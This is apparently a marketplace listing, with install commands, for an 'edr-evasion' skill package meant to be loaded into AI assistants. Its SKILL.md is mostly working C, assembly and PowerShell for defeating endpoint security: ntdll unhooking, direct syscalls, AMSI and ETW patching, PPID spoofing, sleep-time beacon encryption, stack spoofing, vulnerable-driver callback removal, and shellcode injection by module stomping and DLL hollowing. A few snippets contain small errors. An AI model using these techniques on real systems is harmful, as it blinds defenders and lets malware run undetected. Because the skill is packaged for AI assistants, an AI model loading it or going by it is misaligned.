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Use when bypassing EDR/AV to run a payload — hook unhooking, direct/indirect syscalls, PPID spoofing, process injection, AMSI bypass, ETW patching, memory/sleep encryption, behavioral evasion
デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。
インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
直接コマンドでは確認用 Prompt が省略されます。実行前にソースを確認してください。
npx skills add https://github.com/hypnguyen1209/offensive-claude --skill edr-evasionコマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。
ローカルで確認しますか？SkillsMP が現在取得できるファイルをダウンロードできます。
Use when reverse-engineering a binary or firmware — static triage + decompilation (Ghidra/IDA/Binary Ninja), dynamic instrumentation (GDB/Frida 17/angr), anti-reversing & packer bypass, OLLVM/VM deobfuscation, UEFI/BIOS RE & Secure Boot research, patch-diffing for n-days
Use when escalating privileges on a Windows host — SeImpersonate Potato chains (GodPotato/PrintNotifyPotato), service & DLL hijacking, UAC bypass (fodhelper/ICMLuaUtil), kernel EoP + BYOVD (CVE-2025-29824), token-rights abuse, LSASS/SAM/DPAPI credential harvesting
Use when starting an engagement, before exploitation, or whenever the attack surface changes — build/validate the threat model and detect drift (new unreviewed surface) before advancing
SOC 職業分類に基づく
SKILL.md を表示中
| name | edr-evasion |
| description | Use when bypassing EDR/AV to run a payload — hook unhooking, direct/indirect syscalls, PPID spoofing, process injection, AMSI bypass, ETW patching, memory/sleep encryption, behavioral evasion |
| metadata | {"type":"offensive","phase":"evasion","tools":"syscall-stubs, ntdll-unhooking, amsi-patch, etw-patch, process-hollowing"} |
| kill_chain | {"phase":["delivery","install"],"step":[3,5],"attck_tactics":["TA0005"]} |
| depends_on | ["exploit-development","shellcode-dev"] |
| feeds_into | ["red-team-ops","initial-access"] |
| inputs | ["edr_product","payload"] |
| outputs | ["evasive_payload","bypass_technique"] |
Antivirus (preventive):
EDR (proactive & investigative):
Application → DLL (kernel32/ntdll) → Syscall → Kernel (ntoskrnl)
↑
EDR hooks here
(userland hooks in ntdll)
EDRs hook ntdll functions by replacing the first bytes with a JMP to their inspection code.
// Method 1: Map fresh ntdll from disk
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID freshNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
// Get .text section of loaded ntdll
HMODULE loadedNtdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)loadedNtdll;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)loadedNtdll + dosHeader->e_lfanew);
PIMAGE_SECTION_HEADER textSection = IMAGE_FIRST_SECTION(ntHeaders);
// Overwrite hooked .text with clean copy
DWORD oldProtect;
VirtualProtect((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress),
textSection->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress),
(LPVOID)((BYTE*)freshNtdll + textSection->VirtualAddress),
textSection->Misc.VirtualSize);
VirtualProtect((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress),
textSection->Misc.VirtualSize, oldProtect, &oldProtect);
// Method 2: Map from KnownDlls (avoids disk read)
HANDLE hSection;
UNICODE_STRING name;
RtlInitUnicodeString(&name, L"\\KnownDlls\\ntdll.dll");
OBJECT_ATTRIBUTES oa = { sizeof(oa), NULL, &name, 0, NULL, NULL };
NtOpenSection(&hSection, SECTION_MAP_READ, &oa);
PVOID freshNtdll = NULL;
SIZE_T viewSize = 0;
NtMapViewOfSection(hSection, GetCurrentProcess(), &freshNtdll, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READONLY);
Some EDRs use kernel callbacks (PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks) — these cannot be bypassed from userland alone. Requires:
Skip ntdll entirely — call the syscall instruction directly:
; NtAllocateVirtualMemory syscall (Windows 10 21H2)
mov r10, rcx
mov eax, 0x18 ; syscall number (varies by Windows version!)
syscall
ret
Tools: SysWhispers3, HellsGate, HalosGate, TartarusGate
JMP to the syscall; ret instruction inside ntdll (avoids "syscall from non-ntdll" detection):
; Find syscall;ret gadget in ntdll
mov r10, rcx
mov eax, SSN ; System Service Number
jmp [ntdll_syscall_ret_addr] ; JMP to syscall;ret in ntdll
Why indirect: Some EDRs check the return address of syscalls — if it's not within ntdll's address range, it's flagged.
// HellsGate: read SSN from ntdll function prologue
// Clean function: mov r10, rcx; mov eax, SSN; ...
// Hooked function: jmp <hook_addr> (first bytes replaced)
// HalosGate: if hooked, look at neighbor functions (SSN ± 1)
// TartarusGate: walk further neighbors if immediate ones also hooked
# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Alternative: patch in memory
$a=[Ref].Assembly.GetType('System.Management.Automation.A]msiUtils')
$b=$a.GetField('amsiContext','NonPublic,Static')
[IntPtr]$ptr=$b.GetValue($null)
[Int32[]]$buf=@(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)
// C implementation: patch AmsiScanBuffer
HMODULE amsi = LoadLibraryA("amsi.dll");
LPVOID addr = GetProcAddress(amsi, "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(addr, 6, PAGE_EXECUTE_READWRITE, &oldProtect);
// xor eax, eax; ret (return S_OK with AMSI_RESULT_CLEAN)
memcpy(addr, "\x31\xC0\x05\x4E\xFE\xFF\xFF\xC3", 8);
VirtualProtect(addr, 6, oldProtect, &oldProtect);
// Patch EtwEventWrite to immediately return
// Blinds .NET CLR logging, PowerShell ScriptBlock logging
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
LPVOID etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
DWORD oldProtect;
VirtualProtect(etwAddr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)etwAddr = 0xC3; // ret
VirtualProtect(etwAddr, 1, oldProtect, &oldProtect);
// Make process appear to be spawned by explorer.exe
SIZE_T size = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
LPPROC_THREAD_ATTRIBUTE_LIST attrList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
InitializeProcThreadAttributeList(attrList, 1, 0, &size);
HANDLE hParent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorerPid);
UpdateProcThreadAttribute(attrList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);
STARTUPINFOEXA si = { sizeof(si) };
si.lpAttributeList = attrList;
PROCESS_INFORMATION pi;
CreateProcessA(NULL, "cmd.exe", NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
NULL, NULL, &si.StartupInfo, &pi);
| Technique | Stealth | Notes |
|---|---|---|
| CreateRemoteThread | Low | Heavily monitored |
| NtQueueApcThread (Early Bird) | Medium | APC before thread starts |
| NtSetContextThread | Medium | Hijack suspended thread |
| Module Stomping | High | Overwrite legitimate DLL .text |
| Phantom DLL Hollowing | High | Map section, overwrite |
| ThreadlessInject | Very High | No new threads created |
| Process Hollowing | Medium | Unmap + remap |
| Transacted Hollowing | High | NTFS transactions |
1. Find target process with suitable DLL loaded
2. Locate exported function that's rarely called
3. Overwrite function prologue with: push shellcode_addr; ret
4. Wait for natural execution of that function
5. No CreateRemoteThread, no APC — completely threadless
// Encrypt beacon memory during sleep to avoid memory scanners
// Cobalt Strike: set sleep_mask "true" in profile
// Custom implementation:
void SleepEncrypt(DWORD sleepTime) {
// 1. Encrypt all RX sections with XOR/RC4
BYTE key[16]; GenerateRandomKey(key);
EncryptMemory(beaconBase, beaconSize, key);
// 2. Change memory protection to RW (no execute)
VirtualProtect(beaconBase, beaconSize, PAGE_READWRITE, &old);
// 3. Sleep
SleepEx(sleepTime, FALSE);
// 4. Restore RX and decrypt
VirtualProtect(beaconBase, beaconSize, PAGE_EXECUTE_READ, &old);
DecryptMemory(beaconBase, beaconSize, key);
}
// Check indicators before detonation:
// - Domain joined? (GetComputerNameEx)
// - RAM > 4GB? (GlobalMemoryStatusEx)
// - CPU cores > 2? (GetSystemInfo)
// - Disk > 60GB? (GetDiskFreeSpaceEx)
// - User interaction? (GetLastInputInfo — idle time)
// - Known sandbox usernames? (John, sandbox, malware, virus)
// - VM artifacts? (VMware tools, VBox Guest Additions)
// Only execute on intended target — prevents sandbox analysis
// Key to: domain name, username, hostname, MAC address
char computerName[256];
GetComputerNameA(computerName, &size);
BYTE key[32];
SHA256(computerName, strlen(computerName), key);
// Use key to decrypt payload — wrong machine = garbage output
// Use NtCreateTimerQueue + NtSetTimer to encrypt/decrypt beacon memory
// Flow: Set timer → encrypt memory → change to RW → sleep → timer fires →
// change to RX → decrypt memory → resume execution
HANDLE hTimerQueue = NULL;
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD);
// Timer callback chain:
// 1. NtContinue → capture context
// 2. VirtualProtect → RW
// 3. SystemFunction032 (RC4 encrypt) → encrypt beacon
// 4. WaitForSingleObject → actual sleep
// 5. SystemFunction032 → decrypt beacon
// 6. VirtualProtect → RX
// 7. NtContinue → resume execution
// Key: all operations happen in timer thread — main thread is suspended
// EDR sees: legitimate timer callbacks, not suspicious API sequences
// Queue APCs to current thread for sleep obfuscation
// Each APC performs one step of the encrypt-sleep-decrypt chain
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)VirtualProtect,
beaconBase, beaconSize, PAGE_READWRITE);
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)SystemFunction032,
&img, &key); // RC4 encrypt
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)WaitForSingleObject,
hEvent, sleepTime, 0);
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)SystemFunction032,
&img, &key); // RC4 decrypt
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)VirtualProtect,
beaconBase, beaconSize, PAGE_EXECUTE_READ);
// Trigger APC execution
NtTestAlert();
// Abuse Windows thread pool for sleep obfuscation
// Register work items that handle encrypt/sleep/decrypt
// Thread pool threads are inherently trusted by EDRs
TP_CALLBACK_ENVIRON callbackEnv;
TpInitializeCallbackEnviron(&callbackEnv);
// Create thread pool work items for each step
CreateThreadpoolWork(EncryptCallback, &ctx, &callbackEnv);
CreateThreadpoolWork(SleepCallback, &ctx, &callbackEnv);
CreateThreadpoolWork(DecryptCallback, &ctx, &callbackEnv);
// Submit and wait — execution flows through ntdll thread pool
SubmitThreadpoolWork(encryptWork);
WaitForThreadpoolWorkCallbacks(decryptWork, FALSE);
// Mark all beacon memory as non-executable during sleep
// Use ROP gadget to re-mark as executable and resume
// Key: beacon exists only as RW data while sleeping — invisible to memory scanners
// 1. Build ROP chain on stack:
// VirtualProtect(beacon, size, PAGE_EXECUTE_READ, &old)
// JMP beacon_entry
// 2. Set timer with callback = stack pivot gadget (xchg rsp, rax; ret)
// 3. VirtualProtect beacon to PAGE_READWRITE
// 4. Encrypt beacon memory
// 5. Sleep (WaitForSingleObject)
// 6. Timer fires → stack pivot → ROP chain executes → beacon decrypted and RX
// Problem: EDRs walk the call stack on API calls — suspicious return addresses flagged
// Solution: Desynchronize real return addresses from what stack walking sees
// Technique 1: Frame pointer spoofing
// Overwrite RBP chain to point to legitimate-looking stack frames
// Stack walker follows RBP → sees clean call chain
// Technique 2: Return address overwrite with restore
void SpoofStack(PVOID targetFunc, PVOID fakeRetAddr) {
// Save real return address
PVOID realRet = _ReturnAddress();
// Overwrite return address on stack with legitimate ntdll address
*(PVOID*)(_AddressOfReturnAddress()) = fakeRetAddr;
// Call target function — EDR sees clean return address
targetFunc();
// Restore real return address
*(PVOID*)(_AddressOfReturnAddress()) = realRet;
}
// Technique 3: Synthetic frames
// Build entire fake stack frames before API calls
// Each frame points to a real function in ntdll/kernel32
// Stack looks like: ntdll!RtlUserThreadStart → kernel32!BaseThreadInitThunk → ...
// Replace return addresses on stack before each API call
// Use unwinding metadata (.pdata/.xdata) to build valid frames
// Each fake frame must have:
// 1. Valid return address (within a real module)
// 2. Correct frame pointer alignment
// 3. Matching unwind info for the module
typedef struct _STACK_FRAME {
PVOID ReturnAddress;
PVOID FramePointer;
PVOID ModuleBase;
} STACK_FRAME;
// Pre-compute clean frame sets from known-good modules
// Swap in before syscalls, restore after
// Microsoft-Windows-Threat-Intelligence ETW provider
// Runs at KERNEL level — CANNOT be patched from userland
// Monitors: NtAllocateVirtualMemory, NtProtectVirtualMemory, NtWriteVirtualMemory,
// NtMapViewOfSection, NtQueueApcThread, NtSetContextThread
// What it reports to EDR kernel driver:
// - RWX allocations
// - W→X protection changes
// - Cross-process memory writes
// - APC injections
// - Thread context modifications
// Evasion approaches:
// 1. Use functions not monitored (NtCreateSection + NtMapViewOfSection with separate views)
// 2. BYOVD to unregister the ETW TI callback
// 3. Use legitimate code paths (DLL loading, memory-mapped files)
// 4. Avoid monitored API patterns entirely
// EDR kernel drivers register callbacks that fire on:
// PsSetCreateProcessNotifyRoutineEx — process creation
// PsSetCreateThreadNotifyRoutine — thread creation
// PsSetLoadImageNotifyRoutine — DLL/image loading
// ObRegisterCallbacks — handle operations (open process/thread)
// CmRegisterCallback — registry operations
// FltRegisterFilter — filesystem minifilter (file operations)
// Callback removal via BYOVD:
// 1. Load vulnerable signed driver (RTCore64.sys, dbutil_2_3.sys)
// 2. Use driver's read/write primitives to:
// a. Walk PspCreateProcessNotifyRoutine array
// b. Find EDR's callback entry
// c. Zero it out or replace with no-op
// Known BYOVD targets (signed, vulnerable):
// RTCore64.sys — MSI Afterburner (arbitrary R/W)
// dbutil_2_3.sys — Dell BIOS utility (arbitrary R/W)
// gdrv.sys — GIGABYTE driver (arbitrary R/W)
// ene.sys — ENE Technology (arbitrary R/W)
// WinRing0x64.sys — OpenHardwareMonitor (arbitrary R/W)
// EDR filesystem minifilters intercept all file I/O
// They sit at specific altitudes in the filter stack
// Evasion techniques:
// 1. Direct NTFS parsing — bypass filter stack entirely
// Open \\.\PhysicalDrive0, read MFT, parse NTFS structures
// 2. Reparse point abuse — redirect file operations
// 3. Symbolic link manipulation
// 4. Transaction rollback (TxF) — write in transaction, EDR sees, rollback,
// then write again without transaction flag
// Altitude ranges:
// 320000-329999: Anti-Virus filters
// 360000-389999: Activity monitors (most EDRs here)
// Check installed minifilters: fltMC
// Use debug registers (DR0-DR3) instead of inline hooks
// Advantage: no code modification — invisible to integrity checks
// Set hardware breakpoint on target function
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(hThread, &ctx);
ctx.Dr0 = (DWORD64)targetFunction; // breakpoint address
ctx.Dr7 = 0x1; // enable DR0, break on execution
SetThreadContext(hThread, &ctx);
// Register VEH to handle the breakpoint
AddVectoredExceptionHandler(1, HookHandler);
LONG CALLBACK HookHandler(PEXCEPTION_POINTERS pExceptionInfo) {
if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
if (pExceptionInfo->ExceptionRecord->ExceptionAddress == targetFunction) {
// Redirect execution or modify arguments
pExceptionInfo->ContextRecord->Rip = (DWORD64)hookFunction;
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
// Advantage over inline hooks:
// - No code modification (passes integrity checks)
// - Works on read-only pages
// - Limited to 4 breakpoints (DR0-DR3)
// Overwrite .text section of a loaded legitimate DLL with shellcode
// Process loads real DLL → overwrite its code → execute
// EDR sees: code executing from legitimate module address range
// 1. Load benign DLL (e.g., amsi.dll, xpsservices.dll)
HMODULE hModule = LoadLibraryA("xpsservices.dll");
// 2. Find .text section
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dos->e_lfanew);
PIMAGE_SECTION_HEADER text = IMAGE_FIRST_SECTION(nt);
// 3. Make writable, overwrite with shellcode
VirtualProtect((LPVOID)((BYTE*)hModule + text->VirtualAddress),
text->Misc.VirtualSize, PAGE_READWRITE, &oldProtect);
memcpy((LPVOID)((BYTE*)hModule + text->VirtualAddress), shellcode, scSize);
VirtualProtect((LPVOID)((BYTE*)hModule + text->VirtualAddress),
text->Misc.VirtualSize, PAGE_EXECUTE_READ, &oldProtect);
// 4. Execute — return address appears within legitimate DLL
// Map a DLL as a section, modify it, execute — never touches disk
// Avoids LoadLibrary hooks and file system minifilters
// 1. Create section from DLL on disk (read-only mapping)
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\amsi.dll", ...);
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
PAGE_READONLY, SEC_IMAGE, hFile);
// 2. Map writable view (local)
PVOID localView = NULL;
SIZE_T viewSize = 0;
NtMapViewOfSection(hSection, GetCurrentProcess(), &localView,
0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READWRITE);
// 3. Overwrite .text with shellcode in local view
memcpy((BYTE*)localView + textRVA, shellcode, scSize);
// 4. Map executable view (separate mapping of same section)
PVOID execView = NULL;
NtMapViewOfSection(hSection, GetCurrentProcess(), &execView,
0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_EXECUTE_READ);
// 5. Execute from execView — appears as amsi.dll in memory
// Abuse Windows Thread Pool for code execution in remote process
// 7 variants targeting different TP structures:
// 1. TP_WORK — worker item insertion
// 2. TP_TIMER — timer callback hijack
// 3. TP_WAIT — wait callback hijack
// 4. TP_IO — I/O completion callback
// 5. TP_ALPC — ALPC callback
// 6. TP_JOB — job notification callback
// 7. TP_DIRECT — direct insertion
// Variant 1: Worker factory injection
// Write shellcode to remote process
// Hijack TP_WORK callback to point to shellcode
// Submit work item → thread pool executes shellcode
// No CreateRemoteThread, no APC — pure thread pool abuse
// Find DLLs with existing RWX sections (no VirtualProtect needed)
// Write shellcode directly into RWX section of target process
// No memory allocation, no protection changes — minimal EDR signals
// Known DLLs with RWX sections:
// msys-2.0.dll (MSYS2/Git for Windows)
// cygwin1.dll (Cygwin)
// Steps:
// 1. Load DLL with RWX section into target process
// 2. Write shellcode into the RWX section
// 3. Create thread at RWX address (or hijack existing)
// Only 2 API calls needed vs 6+ for traditional injection
// Use NtCreateProcessEx with PROCESS_CREATE_FLAGS_FORK
// Forks current process including all memory — snapshot-based injection
// Child process is exact copy, including injected code
// EDR sees: process creation (not injection), child inherits parent's reputation
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL,
GetCurrentProcess(), // parent = self
PROCESS_CREATE_FLAGS_FORK, NULL, NULL, NULL, 0);
// Child process starts with copy of all memory
// Shellcode already in memory from parent — no cross-process write needed